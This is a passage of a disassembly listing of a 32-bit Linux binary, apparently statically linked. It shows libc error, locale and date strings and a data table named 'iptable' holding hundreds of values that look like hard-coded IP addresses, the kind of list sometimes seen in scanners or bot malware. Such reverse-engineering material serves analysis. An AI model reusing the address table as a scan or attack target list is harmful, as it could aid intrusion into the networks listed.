process',0 ; DATA XREF: .rodata:0806AEA4o aNoSuchFileOrDi db 'No such file or directory',0 ; DATA XREF: .rodata:0806AEA0o aOperationNotPe db 'Operation not permitted',0 ; DATA XREF: .rodata:0806AE9Co aUnknownError_0 db 'Unknown error',0 dword_806BBB8 dd 7Bh ; DATA XREF: sub_8056E14+14r ; sub_80625DC+35r ... unk_806BBBC db 0 ; ; DATA XREF: .rodata:0806AA28o ; .data:08079284o db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; unk_806BBC8 db 0 ; ; DATA XREF: .rodata:0806AA2Co ; .data:08079290o db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0Fh ; db 0 ; db 0 ; db 0 ; db 12h ; db 0BCh ; db 6 ; db 8 ; db 12h ; db 0BCh ; db 6 ; db 8 ; db 12h ; db 0BCh ; db 6 ; db 8 ; db 12h ; db 0BCh ; db 6 ; db 8 ; db 10h ; db 0BCh ; db 6 ; db 8 ; db 12h ; db 0BCh ; db 6 ; db 8 ; db 12h ; db 0BCh ; db 6 ; db 8 ; db 10h ; db 0BCh ; db 6 ; db 8 ; db 10h ; db 0BCh ; db 6 ; db 8 ; db 10h ; db 0BCh ; db 6 ; db 8 ; db 10h ; db 0BCh ; db 6 ; db 8 ; db 10h ; db 0BCh ; db 6 ; db 8 ; db 10h ; db 0BCh ; db 6 ; db 8 ; db 10h ; db 0BCh ; db 6 ; db 8 ; db 10h ; db 0BCh ; db 6 ; db 8 ; db 7Fh ;  db 0 ; db 0 ; db 0 ; unk_806BC14 db 0 ; ; DATA XREF: .rodata:0806AA30o ; .data:0807928Co db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 4 ; db 0 ; db 0 ; db 0 ; db 41h ; A db 0BCh ; db 6 ; db 8 ; db 31h ; 1 db 0BCh ; db 6 ; db 8 ; db 30h ; 0 db 0BCh ; db 6 ; db 8 ; db 30h ; 0 db 0BCh ; db 6 ; db 8 ; db 0 ; aNnAlpha db '[nN][[:alpha:]]',0 aYyAlpha db '[yY][[:alpha:]]',0 align 4 unk_806BC54 db 0 ; ; DATA XREF: .rodata:0806AA24o ; .data:08079294o db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 93h ; db 0 ; db 0 ; db 0 ; db 0ACh ; db 0BFh ; db 6 ; db 8 ; db 0A8h ; db 0BFh ; db 6 ; db 8 ; db 0A4h ; db 0BFh ; db 6 ; db 8 ; db 0A0h ; db 0BFh ; db 6 ; db 8 ; db 9Ch ; db 0BFh ; db 6 ; db 8 ; db 98h ; db 0BFh ; db 6 ; db 8 ; db 94h ; db 0BFh ; db 6 ; db 8 ; db 8Dh ; db 0BFh ; db 6 ; db 8 ; db 86h ; db 0BFh ; db 6 ; db 8 ; db 7Eh ; ~ db 0BFh ; db 6 ; db 8 ; db 74h ; t db 0BFh ; db 6 ; db 8 ; db 6Bh ; k db 0BFh ; db 6 ; db 8 ; db 64h ; d db 0BFh ; db 6 ; db 8 ; db 5Bh ; [ db 0BFh ; db 6 ; db 8 ; db 57h ; W db 0BFh ; db 6 ; db 8 ; db 53h ; S db 0BFh ; db 6 ; db 8 ; db 4Fh ; O db 0BFh ; db 6 ; db 8 ; db 4Bh ; K db 0BFh ; db 6 ; db 8 ; db 47h ; G db 0BFh ; db 6 ; db 8 ; db 43h ; C db 0BFh ; db 6 ; db 8 ; db 3Fh ; ? db 0BFh ; db 6 ; db 8 ; db 3Bh ; ; db 0BFh ; db 6 ; db 8 ; db 37h ; 7 db 0BFh ; db 6 ; db 8 ; db 33h ; 3 db 0BFh ; db 6 ; db 8 ; db 2Fh ; / db 0BFh ; db 6 ; db 8 ; db 2Bh ; + db 0BFh ; db 6 ; db 8 ; db 23h ; # db 0BFh ; db 6 ; db 8 ; db 1Ah ; db 0BFh ; db 6 ; db 8 ; db 14h ; db 0BFh ; db 6 ; db 8 ; db 0Eh ; db 0BFh ; db 6 ; db 8 ; db 47h ; G db 0BFh ; db 6 ; db 8 ; db 9 ; db 0BFh ; db 6 ; db 8 ; db 4 ; db 0BFh ; db 6 ; db 8 ; db 0FDh ; db 0BEh ; db 6 ; db 8 ; db 0F3h ; db 0BEh ; db 6 ; db 8 ; db 0EBh ; db 0BEh ; db 6 ; db 8 ; db 0E2h ; db 0BEh ; db 6 ; db 8 ; db 0D9h ; db 0BEh ; db 6 ; db 8 ; db 0D6h ; db 0BEh ; db 6 ; db 8 ; db 0D3h ; db 0BEh ; db 6 ; db 8 ; db 0BEh ; db 0BEh ; db 6 ; db 8 ; db 0B5h ; db 0BEh ; db 6 ; db 8 ; db 0ACh ; db 0BEh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; aHMS db '%H:%M:%S',0 aMDY db '%m/%d/%y',0 aABDHMSY db '%a %b %d %H:%M:%S %Y',0 aPm db 'PM',0 aAm db 'AM',0 aDecember db 'December',0 aNovember db 'November',0 aOctober db 'October',0 aSeptember db 'September',0 aAugust db 'August',0 aJuly db 'July',0 aJune db 'June',0 aApril db 'April',0 aMarch db 'March',0 aFebruary db 'February',0 aJanuary db 'January',0 aDec db 'Dec',0 aNov db 'Nov',0 aOct db 'Oct',0 aSep db 'Sep',0 aAug db 'Aug',0 aJul db 'Jul',0 aJun db 'Jun',0 aMay db 'May',0 aApr db 'Apr',0 aMar db 'Mar',0 aFeb db 'Feb',0 aJan db 'Jan',0 aSaturday db 'Saturday',0 aFriday db 'Friday',0 aThursday db 'Thursday',0 aWednesday db 'Wednesday',0 aTuesday db 'Tuesday',0 aMonday db 'Monday',0 aSunday db 'Sunday',0 aSat db 'Sat',0 aFri db 'Fri',0 aThu db 'Thu',0 aWed db 'Wed',0 aTue db 'Tue',0 aMon db 'Mon',0 aSun db 'Sun',0 dword_806BFB0 dd 5 ; DATA XREF: sub_8066BFC+2F8r db 3 ; db 0 ; db 0 ; db 0 ; db 30h ; 0 db 0 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0Fh ; db 0 ; db 0 ; db 0 ; db 4 ; db 0 ; db 0 ; db 0 ; aLc_all_0 db 'LC_ALL',0 ; DATA XREF: sub_8066BFC+1Ao aLang_0 db 'LANG',0 ; DATA XREF: sub_8066BFC+53o aLocal db 'local',0 ; DATA XREF: sub_8066BFC+6Eo aSS_0 db '%s/%s',0 ; DATA XREF: sub_8066BFC+CFo aUsrShareLocale db '/usr/share/locale',0 ; DATA XREF: sub_8066BFC+E7o aSSS_0 db '%s/%s/%s',0 ; DATA XREF: sub_8066BFC+ECo aSys_ db '/SYS_',0 ; DATA XREF: sub_8066BFC+13Do aOutOfMemory_3 db 'out of memory',0 ; DATA XREF: sub_80671A4+44o aXdr_referenceS db 'xdr_reference: %s',0Ah,0 ; DATA XREF: sub_80671A4+59o db 0 ; db 1 ; db 2 ; db 2 ; db 3 ; db 3 ; db 3 ; db 3 ; db 4 ; db 4 ; db 4 ; db 4 ; db 4 ; db 4 ; db 4 ; db 4 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 0 ; db 1 ; db 2 ; db 2 ; db 3 ; db 3 ; db 3 ; db 3 ; db 4 ; db 4 ; db 4 ; db 4 ; db 4 ; db 4 ; db 4 ; db 4 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 5 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 6 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 7 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; db 8 ; _rodata ends ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Pure data _data segment dword public 'DATA' use32 assume cs:_data ;org 806D228h __environ dd 0 ; DATA XREF: start+2Aw setenv+41r ... iptable dd 282000Ch, 56A010Ch, 66A010Ch, 24A010Ch, 2F0660Ch, 29B06B0Ch ; DATA XREF: sub_8049174+176r dd 2AB06B0Ch, 26F6D0Ch, 7F06D0Ch, 8F06D0Ch, 0B940B0Ch dd 7ECB6F0Ch, 43107F0Ch, 45107F0Ch, 46107F0Ch, 47117F0Ch dd 48117F0Ch, 4A117F0Ch, 0BE10D0Ch, 0CE10D0Ch, 0BED0D0Ch dd 0BF70D0Ch, 15D60E0Ch, 0AE10E0Ch, 0E24E950Ch, 1CE20F0Ch dd 1DE20F0Ch, 2A4100Ch, 529100Ch, 829100Ch, 929100Ch, 0FC0AA10Ch dd 9C0A10Ch, 0AE1A10Ch, 0FE1A10Ch, 260A10Ch, 360A10Ch dd 1880A20Ch, 1A80A20Ch, 1926A20Ch, 287E110Ch, 297E110Ch dd 18E110Ch, 1DA3110Ch, 0BCC1110Ch, 2706020Ch, 0E2A0140Ch dd 40C150Ch, 90C150Ch, 278150Ch, 378150Ch, 284150Ch, 384150Ch dd 0D289150Ch, 0D389150Ch, 290150Ch, 0AB0150Ch, 1D7150Ch dd 66E4150Ch, 67E4150Ch, 220150Ch, 204150Ch, 12D150Ch dd 0D4C150Ch, 0E4C150Ch, 233C160Ch, 2210170Ch, 0BF4190Ch dd 32451A0Ch, 0BC81C0Ch, 2381C0Ch, 3381C0Ch, 2AF1D0Ch dd 6CC21D0Ch, 7E231E0Ch, 0AE90200Ch, 0FBF210Ch, 290220Ch dd 6F5230Ch, 85F1270Ch, 85F2270Ch, 275040Ch, 4BA2280Ch dd 308280Ch, 0A7A290Ch, 0B7A290Ch, 67C290Ch, 97C290Ch dd 0AB6290Ch, 0DB6290Ch, 0F1B8290Ch, 25E0290Ch, 2EA290Ch dd 23EA290Ch, 43EC290Ch, 44EC290Ch, 1ED290Ch, 842290Ch dd 0D358290Ch, 858290Ch, 55D290Ch, 14B3050Ch, 15B3050Ch dd 0A79060Ch, 222060Ch, 12A060Ch, 22A060Ch, 0BF4070Ch dd 5020A80h, 1016480h, 1646480h, 80646480h, 70666480h dd 0C9666480h, 3666480h, 65656580h, 628A6680h, 2106680h dd 1F126680h, 1016780h, 65C86780h, 0A196880h, 111E6880h dd 3C1E6880h, 0A026980h, 6026980h, 2826D80h, 3836D80h dd 28836D80h, 1C16D80h, 787C6E80h, 63846E80h, 1016F80h dd 2016F80h, 1807080h, 0F817080h, 3017180h, 5017180h, 69817280h dd 21817280h, 68E7280h, 1F97380h, 2F97380h, 208D7680h dd 3197680h, 0EA67780h, 0EAF7780h, 0C287780h, 2C17980h dd 3C17980h, 52C17980h, 2067980h, 0FD067980h, 18807A80h dd 2817A80h, 25FD7A80h, 5CFD7A80h, 13027B80h, 5037B80h dd 0B7137D80h, 88FD7D80h, 0ACFD7D80h, 0B7FD7D80h, 27C7E80h dd 1108080h, 2108080h, 0C9018480h, 0CA018480h, 2308680h dd 490C8780h, 64148780h, 2048780h, 0BC08880h, 1018980h dd 0DD58A80h, 9AEE8A80h, 12EE8A80h, 1F08A80h, 97F38A80h dd 3048B80h, 1068B80h, 7028F80h, 77168F80h, 7038F80h, 1C019080h dd 16329080h, 7019280h, 7309280h, 53809380h, 65169380h dd 0B809480h, 9809480h, 34809780h, 6E09780h, 1A019880h dd 6019880h, 2809980h, 2049980h, 0A2C9A80h, 23039B80h dd 37039B80h, 17059D80h, 1019E80h, 4019E80h, 0AEAE9F80h dd 20051080h, 8061080h, 9626A080h, 7534A080h, 601A380h dd 0B8DA480h, 0C8DA480h, 2C9A980h, 6432A980h, 9614AA80h dd 214AA80h, 4F4AA80h, 101AB80h, 0AABAB80h, 0D03AB80h dd 101AC80h, 201AC80h, 0A5AAC80h, 470EAD80h, 6605AE80h dd 6705AE80h, 6805AE80h, 3A05AE80h, 100DAF80h, 110DAF80h dd 4A0DAF80h, 5C0DAF80h, 0C00B080h, 0D00B080h, 70FB280h dd 80FB280h, 46E1280h, 411E1280h, 421E1280h, 301B480h dd 902B480h, 633EB680h, 641B680h, 860AB780h, 2173B780h dd 1132B780h, 401B880h, 6706BA80h, 8116BB80h, 0C816BB80h dd 6E01BC80h, 104BD80h, 11001380h, 3001380h, 110BF80h dd 0FA30BF80h, 0C101C080h, 901C080h, 1404C180h, 2140C180h dd 1B2C280h, 5C6C280h, 4201C380h, 4219C380h, 0E980C480h dd 3E02C580h, 2814C580h, 71BC580h, 0FA01C680h, 82CE0280h dd 0C7DE0280h, 0C901C880h, 0CAC0C880h, 201CD80h, 16ACD80h dd 820CD80h, 107CD80h, 0FC02CE80h, 50BD280h, 101D580h dd 708D580h, 84F8D680h, 1D04D680h, 402ED680h, 190BD980h dd 0AFEDA80h, 28FEDA80h, 141BDA80h, 1F99DB80h, 0D77FDC80h dd 702DC80h, 5202DC80h, 183DD80h, 201DE80h, 2320DF80h dd 906DF80h, 8801E080h, 0B01E280h, 0A280E380h, 1880E380h dd 0FE80E380h, 0FD94E380h, 310E380h, 0A01E480h, 4005E480h dd 4011780h, 0ACB1780h, 3101E680h, 50CE680h, 0FB80E780h dd 140E780h, 1200E880h, 1300E880h, 103E980h, 203E980h dd 0AFBEB80h, 102ED80h, 2602EE80h, 1E01EF80h, 5002F080h dd 12E5F080h, 22E5F080h, 614F380h, 1015F380h, 0C128F380h dd 64C2F480h, 20C5F480h, 1D41F480h, 32ABF880h, 3202F880h dd 3207F880h, 101F980h, 102F980h, 202F980h, 96DDF980h dd 1501FA80h, 214FA80h, 4AFCFA80h, 178FC80h, 2B4FD80h dd 801FF80h, 2F11FF80h, 540FF80h, 0BA220380h, 0C882080h dd 9882080h, 0CCE2080h, 9CE2080h, 5212080h, 3FD2380h, 1202380h dd 0AD82780h, 182A2A80h, 4052A80h, 4C9A2E80h, 65663080h dd 0C9743080h, 7103180h, 16203480h, 50203480h, 2103680h dd 0A063780h, 0B063780h, 636F3B80h, 14103B80h, 8E283B80h dd 3C403B80h, 8150680h, 9150680h, 0E0823D80h, 0F843D80h dd 4103F80h, 5020780h, 0E0A0880h, 5A0A0880h, 2050880h dd 24A0880h, 24C0880h, 65E05280h, 66E05280h, 98B5380h dd 27B95380h, 2CB95380h, 0A9A5480h, 14015680h, 19085680h dd 7F800980h, 59A00980h, 20B00980h, 1FE5B80h, 4FE5B80h dd 1F146080h, 29146080h, 1016280h, 1006380h, 1E006380h dd 2020181h, 3020181h, 2190181h, 2400181h, 0D010A81h, 0FC0A6481h dd 0C026481h, 33026481h, 0DC776581h, 0DF776581h, 0A5F6581h dd 6016681h, 8016681h, 291E6881h, 29206881h, 1316981h dd 2016B81h, 9016B81h, 14CA6C81h, 23CA6C81h, 0CF016D81h dd 77800B81h, 729F0B81h, 7A9F0B81h, 10A6E81h, 71F6E81h dd 61A6F81h, 71A6F81h, 2017181h, 14CE7481h, 1017681h, 2037781h dd 0A407781h, 8150C81h, 0FCD27881h, 0FDD27881h, 0FED27881h dd 1FE7981h, 2017B81h, 7017B81h, 9017B81h, 0A967C81h, 0D047D81h dd 6047D81h, 41C7F81h, 3287F81h, 0F1048081h, 0E9058081h dd 0E94C8081h, 1648181h, 0A6E8181h, 5A0A0D81h, 5400D81h dd 180C8281h, 0DCFA8481h, 0C628481h, 32018581h, 33018581h dd 0AFA8A81h, 0D8048A81h, 0AC88D81h, 0FC88D81h, 10C88D81h dd 40068E81h, 41068E81h, 63078E81h, 1028F81h, 0A010F81h dd 9010F81h, 1011081h, 3011081h, 2ACA281h, 151EA481h, 908A981h dd 410AA81h, 411AA81h, 161AB81h, 0A01AD81h, 0B01AD81h dd 801AE81h, 10FAF81h, 40FAF81h, 564B081h, 5C7B081h, 1F0CB181h dd 310B181h, 31EB181h, 4158B281h, 1101B481h, 401B481h dd 704B481h, 171B581h, 30CB581h, 0FE78B581h, 380B581h dd 480B581h, 0A210B581h, 5810B581h, 1A5B581h, 1B2B581h dd 1B6B581h, 0CB8B581h, 0C801BA81h, 0C88CBA81h, 0C88EBA81h dd 190ABB81h, 110BB81h, 6488BC81h, 6588BC81h, 4601381h dd 101BF81h, 1940C081h, 104C181h, 2004C281h, 604C281h dd 708C281h, 3CFEC381h, 3DFEC381h, 14E1C481h, 15E1C481h dd 29F1C681h, 0B60C781h, 31801481h, 1FE1481h, 41FECB81h dd 7E64CE81h, 7F64CE81h, 364CF81h, 1151581h, 1EEF1581h dd 11031581h, 11E1581h, 3211581h, 12041581h, 1371581h dd 1391581h, 81391581h, 13A1581h, 83C1581h, 93C1581h, 815E1581h dd 0F50CD281h, 108D281h, 10BD481h, 280D581h, 6280D581h dd 0F0A0D781h, 0DA6D781h, 21A8D781h, 0F02AD781h, 0EF46D781h dd 383D981h, 2A04D981h, 510DDB81h, 0C811DB81h, 511DB81h dd 1041681h, 3041681h, 0DDDDE481h, 1B11E981h, 2F11E981h dd 0B04EA81h, 1604EA81h, 904EA81h, 1546EB81h, 140AEC81h dd 1E0AEC81h, 120ED81h, 220ED81h, 0A1AEF81h, 1081881h dd 4081881h, 302F081h, 2802F081h, 240F081h, 501F181h, 6001F181h dd 6301F181h, 180AF181h, 567F181h, 0B6CF181h, 0C6EF181h dd 0A8CF181h, 0FA0FF181h, 0B9BF181h, 0A10F181h, 0BEBEF181h dd 0AC0F181h, 3C8F181h, 0D3D2F181h, 1616F181h, 151BF181h dd 22AF181h, 6406F181h, 6B06F181h, 440F181h, 707F181h dd 2852F181h, 115DF181h, 0FE04F281h, 0FE05F281h, 2029F481h dd 0B65F681h, 1A0F781h, 140F781h, 160F781h, 0A7CFA81h dd 3D0FFA81h, 0AFCFA81h, 0BE1FFA81h, 2023FA81h, 2123FA81h dd 2223FA81h, 0B29FC81h, 192AFC81h, 1AAFD81h, 2AAFD81h dd 0D7EFE81h, 52081A81h, 1010381h, 64010381h, 24010381h dd 0A031E81h, 10031E81h, 1010481h, 1020481h, 4002981h dd 5002981h, 4802981h, 5802981h, 4F02981h, 5F02981h, 4202981h dd 5202981h, 142A2981h, 152A2981h, 4302981h, 5302981h dd 4362981h, 5362981h, 23C2981h, 0C83F2981h, 0C93F2981h dd 4502981h, 5502981h, 5022A81h, 85042A81h, 6062A81h, 0B012B81h dd 0D6683081h, 0FA073181h, 3073181h, 0E6100581h, 0E8100581h dd 0A0053381h, 0A1053381h, 1DB3581h, 65DB3581h, 30C3781h dd 3183781h, 0A013B81h, 0A023B81h, 20D0681h, 66273C81h dd 67273C81h, 17923D81h, 3923D81h, 2013E81h, 4103E81h dd 1013F81h, 0B634081h, 0C634081h, 0FE104181h, 0FE154181h dd 9AC4281h, 4144281h, 44C4281h, 35F4281h, 1014381h, 0B4014381h dd 1714481h, 2714481h, 1C014581h, 1010781h, 14010781h dd 64844681h, 37044681h, 10054681h, 1014781h, 1024781h dd 83C4881h, 0F014981h, 64FA4A81h, 1014D81h, 1974E81h dd 1244E81h, 1404E81h, 2404E81h, 1014F81h, 0BFFE4F81h dd 64054F81h, 69320881h, 2340881h, 87165081h, 1845181h dd 3845181h, 15105181h, 32E05181h, 40645281h, 15015581h dd 11E5881h, 18205881h, 3A95981h, 0E025981h, 2065981h dd 0E075981h, 2075981h, 0FEFC5C81h, 0F8FD5C81h, 1015D81h dd 6D145F81h, 2145F81h, 0FC145F81h, 15016081h, 1FFC6081h dd 0A806181h, 64806181h, 4016281h, 6016281h, 1AC96281h dd 5E40010Dh, 10A6582h, 0FB936582h, 0FD046582h, 4056582h dd 8086582h, 0FA586582h, 2096582h, 2B806682h, 35806682h dd 0CB06682h, 1BB06682h, 0F026682h, 35026682h, 1016882h dd 2016882h, 1FE6882h, 14016B82h, 